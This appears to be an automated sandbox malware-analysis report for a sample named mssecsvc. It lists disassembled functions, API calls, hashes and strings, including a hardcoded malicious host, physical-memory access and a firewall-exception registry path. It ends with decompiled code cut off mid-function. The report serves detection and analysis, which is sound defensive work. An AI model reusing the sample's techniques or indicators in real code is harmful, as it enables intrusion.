                                                                                                                                                                • API String ID: 2334578396-2287716718
                                                                                                                                                                • Opcode ID: 947b9679796d591e9ada89db576f74309ff53d0a5c4f8047994469cffe21920d
                                                                                                                                                                • Instruction ID: 0b180e410ea04e0a002a2de4285247c59f0146313c4cc8f201b32f6d98ad8b92
                                                                                                                                                                • Opcode Fuzzy Hash: 947b9679796d591e9ada89db576f74309ff53d0a5c4f8047994469cffe21920d
                                                                                                                                                                • Instruction Fuzzy Hash: 8BD12471515248BFDB35AF24CC4ABEABBECEF41700F04059AE8489E182E7F45F458666
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3378 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 220filenativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00BD33E2
                                                                                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00BD3401
                                                                                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00BD342B
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00BD3438
                                                                                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 00BD3450
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                                                                                • String ID: \Device\PhysicalMemory
                                                                                                                                                                • API String ID: 2985292042-2007344781
                                                                                                                                                                • Opcode ID: 561ceb251a9ee27251f20cf668687e795924f4ca3d2f92a1e9259e8415ac6dd8
                                                                                                                                                                • Instruction ID: 921068f7424ffd0bf1e420561fb211a438beca28069d4040c905c51635ab28e0
                                                                                                                                                                • Opcode Fuzzy Hash: 561ceb251a9ee27251f20cf668687e795924f4ca3d2f92a1e9259e8415ac6dd8
                                                                                                                                                                • Instruction Fuzzy Hash: F681AE71500208FFEB249F14CC89ABA77ACEF44B10F104559ED199B292E7F0AF55CBA9
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD339D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61filenativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00BD33E2
                                                                                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00BD3401
                                                                                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00BD342B
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00BD3438
                                                                                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 00BD3450
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                                                                                • String ID: ysic
                                                                                                                                                                • API String ID: 2985292042-20973071
                                                                                                                                                                • Opcode ID: 83cfc29f16e685118e4cac80380ae0b62c24e54c169c44b406135decc174f522
                                                                                                                                                                • Instruction ID: 02c24b4086e277a1f81c9183920d93db36f17b955cc190bd17e3f7f8c4615d98
                                                                                                                                                                • Opcode Fuzzy Hash: 83cfc29f16e685118e4cac80380ae0b62c24e54c169c44b406135decc174f522
                                                                                                                                                                • Instruction Fuzzy Hash: 8A11B270140609FBEB348F10CC56FAB76BCEF88B10F104519EA199B2D1E7F4AF148A69
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD24AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrcpyW.KERNEL32(?,\BaseNamedObjects\mvatVt), ref: 00BD24BA
                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 00BD24C1
                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 00BD2516
                                                                                                                                                                Strings
                                                                                                                                                                • \BaseNamedObjects\mvatVt, xrefs: 00BD24B8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateSectionlstrcpylstrlen
                                                                                                                                                                • String ID: \BaseNamedObjects\mvatVt
                                                                                                                                                                • API String ID: 2597515329-4062877343
                                                                                                                                                                • Opcode ID: 26f1be6d3f1a558f3176dddf1e69d5d37eb59f1455cfeebe3f45744a131c8c57
                                                                                                                                                                • Instruction ID: 921a3bc5b0b55ff64981c1ae7795fef59bfcfb5f8748f86742d16525c1ef2ebb
                                                                                                                                                                • Opcode Fuzzy Hash: 26f1be6d3f1a558f3176dddf1e69d5d37eb59f1455cfeebe3f45744a131c8c57
                                                                                                                                                                • Instruction Fuzzy Hash: 1D0181B0790304BAF7305B29CC4BF5B7969DF81B50F548159F608AE1C4DAB89A0483A9
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3F27 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205threadlibrarystringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00BD3F1B), ref: 00BD3F27
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00BD3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00BD3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00BD3F97
                                                                                                                                                                • lstrlen.KERNEL32(ilo.brenz.pl,?,00000000), ref: 00BD3FE8
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 00BD408C
                                                                                                                                                                • CreateThread.KERNEL32(?,?,Function_000037B1,6F6C6902), ref: 00BD4138
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,Function_000037B1,6F6C6902,?,?,00000023,00BD6E36,00000000,6F6C6902,6F6C6902,00BD3AEA,00000014,00000000), ref: 00BD4141
                                                                                                                                                                • RtlExitUserThread.NTDLL(00000000), ref: 00BD4261
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateThread$CloseHandle$EventExitLibraryLoadUserVersionlstrlen
                                                                                                                                                                • String ID: ilo.brenz.pl
                                                                                                                                                                • API String ID: 3753104081-878173267
                                                                                                                                                                • Opcode ID: cd3075aa6ac5a1b2a324a193c1ece853ea8a8685f00cea4c4ff8086d10106105
                                                                                                                                                                • Instruction ID: c034815f4d7ca6c59874a26810c9f51fa951e5bb6de1747b685feada98d5dfd2
                                                                                                                                                                • Opcode Fuzzy Hash: cd3075aa6ac5a1b2a324a193c1ece853ea8a8685f00cea4c4ff8086d10106105
                                                                                                                                                                • Instruction Fuzzy Hash: E081D171515249BFDB219F24C85ABEABBECEF41700F04058AF8595E281E3F09F458B6A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3E64 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 246threadlibraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00BD3E58), ref: 00BD3E65
                                                                                                                                                                • GetModuleFileNameA.KERNEL32(00000000,00BD69E2,000000C8), ref: 00BD3E7A
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,00BD3629,00000000,00000000), ref: 00BD3ED8
                                                                                                                                                                • CloseHandle.KERNEL32(?,A0ADC14F), ref: 00BD3EE1
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00BD3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00BD3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00BD3F97
                                                                                                                                                                  • Part of subcall function 00BD339D: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00BD33E2
                                                                                                                                                                  • Part of subcall function 00BD339D: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00BD3401
                                                                                                                                                                  • Part of subcall function 00BD339D: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00BD342B
                                                                                                                                                                  • Part of subcall function 00BD339D: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00BD3438
                                                                                                                                                                  • Part of subcall function 00BD339D: UnmapViewOfFile.KERNEL32(?), ref: 00BD3450
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmap
                                                                                                                                                                • String ID: SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 3400179232-621207024
                                                                                                                                                                • Opcode ID: 3b4c00c77de353b703b27fe9e0b05dac0049b0b034d594c042b1972db7874499
                                                                                                                                                                • Instruction ID: 9df4efdff615a93cec6e4b9d16b5dae767ff7878cb247c9cd6b4df6789683f64
                                                                                                                                                                • Opcode Fuzzy Hash: 3b4c00c77de353b703b27fe9e0b05dac0049b0b034d594c042b1972db7874499
                                                                                                                                                                • Instruction Fuzzy Hash: 2691E471515248BFDB21AF24CC4ABEBBBACEF41300F04069AF8595E182E7F05F4587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3E4D Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 262librarythreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00BD3E41), ref: 00BD3E4D
                                                                                                                                                                  • Part of subcall function 00BD3E64: GetProcAddress.KERNEL32(00000000,00BD3E58), ref: 00BD3E65
                                                                                                                                                                  • Part of subcall function 00BD3E64: GetModuleFileNameA.KERNEL32(00000000,00BD69E2,000000C8), ref: 00BD3E7A
                                                                                                                                                                  • Part of subcall function 00BD3E64: CreateThread.KERNEL32(00000000,00000000,00BD3629,00000000,00000000), ref: 00BD3ED8
                                                                                                                                                                  • Part of subcall function 00BD3E64: CloseHandle.KERNEL32(?,A0ADC14F), ref: 00BD3EE1
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00BD3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00BD3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00BD3F97
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 00BD408C
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Create$CloseHandleThread$AddressEventFileLibraryLoadModuleNameProcVersion
                                                                                                                                                                • String ID: SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 4113580538-621207024
                                                                                                                                                                • Opcode ID: 87f197dd41939147b2960925833c34f02f8e43997e3fe373c143eff21418308d
                                                                                                                                                                • Instruction ID: 92ffaf6ada7bfcbcc02d55ece21a1e7420c210ee5b12940ee80d1bc7139e56ae
                                                                                                                                                                • Opcode Fuzzy Hash: 87f197dd41939147b2960925833c34f02f8e43997e3fe373c143eff21418308d
                                                                                                                                                                • Instruction Fuzzy Hash: 55910571519244BFDB21AF24CC5ABEBBBECEF41300F04059AF8599E182E6F05F4586A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD4109 Relevance: 12.2, APIs: 8, Instructions: 178sleepthreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateThread.KERNEL32(?,?,Function_000037B1,6F6C6902), ref: 00BD4138
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,Function_000037B1,6F6C6902,?,?,00000023,00BD6E36,00000000,6F6C6902,6F6C6902,00BD3AEA,00000014,00000000), ref: 00BD4141
                                                                                                                                                                • Sleep.KERNEL32(00000064,?,?,?,Function_000037B1,6F6C6902,?,?,00000023,00BD6E36,00000000,6F6C6902,6F6C6902,00BD3AEA,00000014,00000000), ref: 00BD41DA
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00BD41E3
                                                                                                                                                                • SetEvent.KERNEL32(?,?,00000000), ref: 00BD4225
                                                                                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 00BD4236
                                                                                                                                                                • ResetEvent.KERNEL32(?,?,00000000), ref: 00BD4249
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: EventSleep$CloseCountCreateHandleResetThreadTick
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1870499893-0
                                                                                                                                                                • Opcode ID: fc55b44dffeed9f0fa34af6d0f9333e7e97c5298c09aa9a8cf59fe694ab0a9b6
                                                                                                                                                                • Instruction ID: 86f3f805dd60dc6e910b68ce788efd0980732e907f3598897cd2f55940397c86
                                                                                                                                                                • Opcode Fuzzy Hash: fc55b44dffeed9f0fa34af6d0f9333e7e97c5298c09aa9a8cf59fe694ab0a9b6
                                                                                                                                                                • Instruction Fuzzy Hash: 9D611571114249BBDF219F24C85ABDEBFECEF41700F14058AE8595E281E3F09F41876A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3EF8 Relevance: 10.7, APIs: 7, Instructions: 192libraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00BD3EEC), ref: 00BD3EF8
                                                                                                                                                                  • Part of subcall function 00BD3F27: LoadLibraryA.KERNEL32(00BD3F1B), ref: 00BD3F27
                                                                                                                                                                  • Part of subcall function 00BD3F27: CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00BD3F81
                                                                                                                                                                  • Part of subcall function 00BD3F27: CloseHandle.KERNEL32(?,00000000), ref: 00BD3F8A
                                                                                                                                                                  • Part of subcall function 00BD3F27: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00BD3F97
                                                                                                                                                                  • Part of subcall function 00BD3F27: GetVersionExA.KERNEL32(?,?,00000000), ref: 00BD408C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateLibraryLoad$CloseEventHandleThreadVersion
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4090826934-0
                                                                                                                                                                • Opcode ID: 25854abc98b3accc8cf8ec0414aa342a2e8bceb29aad210d583b08b6067569f1
                                                                                                                                                                • Instruction ID: 07ec0fb70af4b129373670cd5923d27448a74d28fa0d0f16eb17cfca05a5ed8c
                                                                                                                                                                • Opcode Fuzzy Hash: 25854abc98b3accc8cf8ec0414aa342a2e8bceb29aad210d583b08b6067569f1
                                                                                                                                                                • Instruction Fuzzy Hash: AA61D671515249BFDB21AF24CC5ABEABBECEF41300F04059AF8595E182E3F05F4587A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD2768 Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTempPathA.KERNEL32(00000104), ref: 00BD278C
                                                                                                                                                                  • Part of subcall function 00BD27A7: GetTempFileNameA.KERNEL32(?,00BD27A3,00000000,?), ref: 00BD27A8
                                                                                                                                                                  • Part of subcall function 00BD27A7: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00BD27A3,00000000,?), ref: 00BD27C3
                                                                                                                                                                  • Part of subcall function 00BD27A7: WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00BD27A3,00000000,?), ref: 00BD27F3
                                                                                                                                                                  • Part of subcall function 00BD27A7: CloseHandle.KERNEL32(?,00000104,?,00000000,?,00BD27A3,00000000,?), ref: 00BD27FF
                                                                                                                                                                  • Part of subcall function 00BD27A7: CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00BD27A3), ref: 00BD2823
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$CreateTemp$CloseHandleNamePathProcessWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3982275768-0
                                                                                                                                                                • Opcode ID: 9442bed387485dd5c6208b040b775dce7909e05c58a4aabe22b0929d4f7f6822
                                                                                                                                                                • Instruction ID: 8cf4a3a0ce78389536d5d262b22913f1b232d6a77760110a5697e6ace7a98828
                                                                                                                                                                • Opcode Fuzzy Hash: 9442bed387485dd5c6208b040b775dce7909e05c58a4aabe22b0929d4f7f6822
                                                                                                                                                                • Instruction Fuzzy Hash: 4E21C0B1146245BFE7315B20CC8EFFF7A6CEF95B10F00011AFA4899191E7B19E458676
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD27A7 Relevance: 7.6, APIs: 5, Instructions: 65fileprocessCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTempFileNameA.KERNEL32(?,00BD27A3,00000000,?), ref: 00BD27A8
                                                                                                                                                                • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00BD27A3,00000000,?), ref: 00BD27C3
                                                                                                                                                                • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00BD27A3,00000000,?), ref: 00BD27F3
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000104,?,00000000,?,00BD27A3,00000000,?), ref: 00BD27FF
                                                                                                                                                                • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00BD27A3), ref: 00BD2823
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$Create$CloseHandleNameProcessTempWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 463619559-0
                                                                                                                                                                • Opcode ID: 79ba4446e2a00169ac63f746143a5fe332799a213c8ddaac65906699330d25c2
                                                                                                                                                                • Instruction ID: 75959b7f275fb15effc2aa3d336b653262907242207358d60b28518f80cce1f1
                                                                                                                                                                • Opcode Fuzzy Hash: 79ba4446e2a00169ac63f746143a5fe332799a213c8ddaac65906699330d25c2
                                                                                                                                                                • Instruction Fuzzy Hash: 78116DB1101645FBEB350B20CC4AFFB7A6DEF94B10F004519FA0599190EBF59E5096A8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD10CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(0019FF1C), ref: 00BD113D
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00BD11D6), ref: 00BD1148
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressHandleModuleProc
                                                                                                                                                                • String ID: .DLL
                                                                                                                                                                • API String ID: 1646373207-899428287
                                                                                                                                                                • Opcode ID: 10ee03f602b6349dc7cedc8c09501795956ad4c0f43e49632d56126e52950066
                                                                                                                                                                • Instruction ID: aa1848bdfb2ed68b2b20958080f0ead8d74c1d4983a97723c6d686db35b5416b
                                                                                                                                                                • Opcode Fuzzy Hash: 10ee03f602b6349dc7cedc8c09501795956ad4c0f43e49632d56126e52950066
                                                                                                                                                                • Instruction Fuzzy Hash: 92012670115006FADB659E6CC84A6EABBFCEF04341F004892EA199B316E770DE80C695
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Non-executed Functions

                                                                                                                                                                Function 00406C40 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365COMMONCrypto
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 75%
                                                                                                                                                                			E00406C40(intOrPtr* __ecx, void* __edx, intOrPtr _a4, void* _a8, signed int _a11) {
				signed int _v5;
				signed char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				struct _FILETIME _v32;
				struct _FILETIME _v40;
				char _v44;
				unsigned int _v72;
				intOrPtr _v96;
				intOrPtr _v100;
				unsigned int _v108;
				unsigned int _v124;
				char _v384;
				char _v644;
				char _t142;
				char _t150;
				void* _t151;
				signed char _t156;
				long _t173;
				signed char _t185;
				signed char* _t190;
				signed char* _t194;
				intOrPtr* _t204;
				signed int _t207;
				signed int _t208;
				intOrPtr* _t209;
				unsigned int _t210;
				char _t212;
				signed char _t230;
				signed int _t234;
				signed char _t238;
				void* _t263;
				unsigned int _t264;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				intOrPtr _t272;
				char* _t274;
				unsigned int _t276;
				signed int _t277;
				void* _t278;
				intOrPtr* _t280;
				void* _t281;
				intOrPtr _t282;

				_t263 = __edx;
				_t213 = __ecx;
				_t272 = _a4;
				_t208 = _t207 | 0xffffffff;
				_t280 = __ecx;
				_v24 = __ecx;
				if(_t272 < _t208) {
					L61:
					return 0x10000;
				}
				_t131 =  *__ecx;
				if(_t272 >=  *((intOrPtr*)( *__ecx + 4))) {
					goto L61;
				}
				if( *((intOrPtr*)(__ecx + 4)) != _t208) {
					E00406A97(_t131);
					_pop(_t213);
				}
				 *(_t280 + 4) = _t208;
				if(_t272 !=  *((intOrPtr*)(_t280 + 0x134))) {
					if(_t272 != _t208) {
						_t132 =  *_t280;
						if(_t272 >=  *( *_t280 + 0x10)) {
							L12:
							_t133 =  *_t280;
							if( *( *_t280 + 0x10) >= _t272) {
								E004064BB( *_t280,  &_v124,  &_v384, 0x104, 0, 0, 0, 0);
								if(L0040657A(_t213, _t263,  *_t280,  &_v44,  &_v20,  &_v16) == 0) {
									_t142 = E00405D0E( *((intOrPtr*)( *_t280)), _v20, 0);
									if(_t142 != 0) {
										L19:
										return 0x800;
									}
									_push(_v16);
									L00407700();
									_v12 = _t142;
									if(L00405D8A(_t142, 1, _v16,  *((intOrPtr*)( *_t280))) == _v16) {
										_t281 = _a8;
										 *_t281 =  *( *_t280 + 0x10);
										strcpy( &_v644,  &_v384);
										_t209 = __imp___mbsstr;
										_t274 =  &_v644;
										while(1) {
											L21:
											_t150 =  *_t274;
											if(_t150 != 0 && _t274[1] == 0x3a) {
												break;
											}
											if(_t150 == 0x5c || _t150 == 0x2f) {
												_t274 =  &(_t274[1]);
												continue;
											} else {
												_t151 =  *_t209(_t274, "\\..\\");
												if(_t151 != 0) {
													L31:
													_t39 = _t151 + 4; // 0x4
													_t274 = _t39;
													continue;
												}
												_t151 =  *_t209(_t274, "\\../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/../");
												if(_t151 != 0) {
													goto L31;
												}
												_t151 =  *_t209(_t274, "/..\\");
												if(_t151 == 0) {
													strcpy(_t281 + 4, _t274);
													_t264 = _v72;
													_a11 = _a11 & 0x00000000;
													_v5 = _v5 & 0x00000000;
													_t156 = _t264 >> 0x0000001e & 0x00000001;
													_t230 =  !(_t264 >> 0x17) & 0x00000001;
													_t276 = _v124 >> 8;
													_t210 = 1;
													if(_t276 == 0 || _t276 == 7 || _t276 == 0xb || _t276 == 0xe) {
														_a11 = _t264 >> 0x00000001 & 0x00000001;
														_t230 = _t264 & 0x00000001;
														_v5 = _t264 >> 0x00000002 & 0x00000001;
														_t156 = _t264 >> 0x00000004 & 0x00000001;
														_t264 = _t264 >> 0x00000005 & 0x00000001;
														_t210 = _t264;
													}
													_t277 = 0;
													 *(_t281 + 0x108) = 0;
													if(_t156 != 0) {
														 *(_t281 + 0x108) = 0x10;
													}
													if(_t210 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000020;
													}
													if(_a11 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000002;
													}
													if(_t230 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000001;
													}
													if(_v5 != 0) {
														 *(_t281 + 0x108) =  *(_t281 + 0x108) | 0x00000004;
													}
													 *((intOrPtr*)(_t281 + 0x124)) = _v100;
													 *((intOrPtr*)(_t281 + 0x128)) = _v96;
													_v40.dwLowDateTime = E00406B23(_v108 >> 0x10, _v108);
													_v40.dwHighDateTime = _t264;
													LocalFileTimeToFileTime( &_v40,  &_v32);
													_t173 = _v32.dwLowDateTime;
													_t234 = _v32.dwHighDateTime;
													_t212 = _v12;
													 *(_t281 + 0x10c) = _t173;
													 *(_t281 + 0x114) = _t173;
													 *(_t281 + 0x11c) = _t173;
													 *(_t281 + 0x110) = _t234;
													 *(_t281 + 0x118) = _t234;
													 *(_t281 + 0x120) = _t234;
													if(_v16 <= 4) {
														L57:
														if(_t212 != 0) {
